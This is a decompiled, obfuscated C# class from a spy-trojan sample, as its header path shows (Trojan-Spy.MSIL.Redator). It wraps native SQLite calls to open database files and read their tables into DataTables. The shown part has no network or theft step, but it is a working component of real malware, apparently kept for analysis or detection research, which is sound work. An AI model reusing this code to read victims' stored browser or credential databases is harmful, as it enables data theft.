// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null
// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe

using \u0004;
using \u0006;
using System;
using System.Data;
using System.Runtime.InteropServices;
using System.Text;

namespace \u0004
{
  internal sealed class \u0003
  {
    private IntPtr \u0001;

    public \u0003() => this.\u0001 = IntPtr.Zero;

    public \u0003([In] string obj0) => this.\u0003(obj0);

    [DllImport("kernel32", EntryPoint = "HeapAlloc")]
    private static extern IntPtr \u0003([In] IntPtr obj0, [In] uint obj1, [In] uint obj2);

    [DllImport("kernel32", EntryPoint = "GetProcessHeap")]
    private static extern IntPtr \u0003();

    [DllImport("kernel32", EntryPoint = "lstrlen")]
    private static extern int \u0003([In] IntPtr obj0);

    [DllImport("sqlite3", EntryPoint = "sqlite3_open")]
    private static extern int \u0003([In] IntPtr obj0, [In] ref IntPtr obj1);

    [DllImport("sqlite3", EntryPoint = "sqlite3_prepare_v2")]
    private static extern int \u0003(
      [In] IntPtr obj0,
      [In] IntPtr obj1,
      [In] int obj2,
      [In] ref IntPtr obj3,
      [In] ref IntPtr obj4);

    [DllImport("sqlite3", EntryPoint = "sqlite3_step")]
    private static extern int \u0004([In] IntPtr obj0);

    [DllImport("sqlite3", EntryPoint = "sqlite3_column_count")]
    private static extern int \u0005([In] IntPtr obj0);

    [DllImport("sqlite3", EntryPoint = "sqlite3_column_name")]
    private static extern IntPtr \u0003([In] IntPtr obj0, [In] int obj1);

    [DllImport("sqlite3", EntryPoint = "sqlite3_column_type")]
    private static extern int \u0003([In] IntPtr obj0, [In] int obj1);

    [DllImport("sqlite3", EntryPoint = "sqlite3_column_int")]
    private static extern int \u0004([In] IntPtr obj0, [In] int obj1);

    [DllImport("sqlite3", EntryPoint = "sqlite3_column_double")]
    private static extern double \u0003([In] IntPtr obj0, [In] int obj1);

    [DllImport("sqlite3", EntryPoint = "sqlite3_column_text")]
    private static extern IntPtr \u0004([In] IntPtr obj0, [In] int obj1);

    [DllImport("sqlite3", EntryPoint = "sqlite3_column_blob")]
    private static extern IntPtr \u0005([In] IntPtr obj0, [In] int obj1);

    [DllImport("sqlite3", EntryPoint = "sqlite3_finalize")]
    private static extern int \u0006([In] IntPtr obj0);

    public void \u0003([In] string obj0)
    {
      if (\u0003.\u0003(this.\u0003(obj0), ref this.\u0001) != 0)
      {
        this.\u0001 = IntPtr.Zero;
        throw new Exception(\u0001.\u0003(-1567509695) + obj0 + \u0001.\u0003(-1567509658));
      }
    }

    public DataTable \u0003([In] string obj0)
    {
      IntPtr num1;
      IntPtr num2;
      \u0003.\u0003(this.\u0001, this.\u0003(obj0), this.\u0007(this.\u0003(obj0)), ref num1, ref num2);
      DataTable dataTable = new DataTable();
      int num3 = this.\u0003(num1, ref dataTable);
      while (num3 == 100)
        num3 = this.\u0004(num1, ref dataTable);
      \u0003.\u0006(num1);
      return dataTable;
    }

    private int \u0003([In] IntPtr obj0, [In] ref DataTable obj1)
    {
      obj1 = new DataTable(\u0001.\u0003(-1567509932));
      if (\u0003.\u0004(obj0) == 100)
        goto label_11;
label_10:
      return \u0003.\u0004(obj0);
label_11:
      int num1 = \u0003.\u0005(obj0);
      string empty = string.Empty;
      object[] objArray = new object[checked (num1 - 1 + 1)];
      int num2 = checked (num1 - 1);
      int index = 0;
      while (index <= num2)
      {
        string columnName = this.\u0003(\u0003.\u0003(obj0, index));
        switch (\u0003.\u0003(obj0, index))
        {
          case 1:
            obj1.Columns.Add(columnName, Type.GetType(\u0001.\u0003(-1567509894)));
            objArray[index] = (object) \u0003.\u0004(obj0, index);
            break;
          case 2:
            obj1.Columns.Add(columnName, Type.GetType(\u0001.\u0003(-1567510001)));
            objArray[index] = (object) \u0003.\u0003(obj0, index);
            break;
          case 3:
            obj1.Columns.Add(columnName, Type.GetType(\u0001.\u0003(-1567509997)));
            objArray[index] = (object) this.\u0003(\u0003.\u0004(obj0, index));
            break;
          case 4:
            obj1.Columns.Add(columnName, Type.GetType(\u0001.\u0003(-1567509997)));
            objArray[index] = (object) this.\u0003(\u0003.\u0005(obj0, index));
            break;
          default:
            obj1.Columns.Add(columnName, Type.GetType(\u0001.\u0003(-1567509997)));
            objArray[index] = (object) string.Empty;
            break;
        }
        checked { ++index; }
      }
      obj1.Rows.Add(objArray);
      goto label_10;
    }

    private int \u0004([In] IntPtr obj0, [In] ref DataTable obj1)
    {
      int num1 = \u0003.\u0005(obj0);
      object[] objArray = new object[checked (num1 - 1 + 1)];
      int num2 = checked (num1 - 1);
      int index = 0;
      while (index <= num2)
      {
        switch (\u0003.\u0003(obj0, index))
        {
          case 1:
            objArray[index] = (object) \u0003.\u0004(obj0, index);
            break;
          case 2:
            objArray[index] = (object) \u0003.\u0003(obj0, index);
            break;
          case 3:
            objArray[index] = (object) this.\u0003(\u0003.\u0004(obj0, index));
            break;
          case 4:
            objArray[index] = (object) this.\u0003(\u0003.\u0005(obj0, index));
            break;
          default:
            objArray[index] = (object) string.Empty;
            break;
        }
        checked { ++index; }
      }
      obj1.Rows.Add(objArray);
      return \u0003.\u0004(obj0);
    }

    private IntPtr \u0003([In] string obj0)
    {
      switch (obj0)
      {
        case null:
          return IntPtr.Zero;
        default:
          byte[] bytes = Encoding.UTF8.GetBytes(obj0);
          uint num1 = checked ((uint) (bytes.Length + 1));
          IntPtr num2 = \u0003.\u0003(\u0003.\u0003(), 0U, num1);
          Marshal.Copy(bytes, 0, num2, bytes.Length);
          Marshal.WriteByte(num2, bytes.Length, (byte) 0);
          return num2;
      }
    }

    private string \u0003([In] IntPtr obj0)
    {
      if (obj0 == IntPtr.Zero)
        return (string) null;
      Encoding utF8 = Encoding.UTF8;
      int num = this.\u0007(obj0);
      byte[] numArray = new byte[checked (num - 1 + 1)];
      Marshal.Copy(obj0, numArray, 0, num);
      return utF8.GetString(numArray, 0, num);
    }

    private int \u0007([In] IntPtr obj0) => obj0 == IntPtr.Zero ? 0 : \u0003.\u0003(obj0);
  }
}
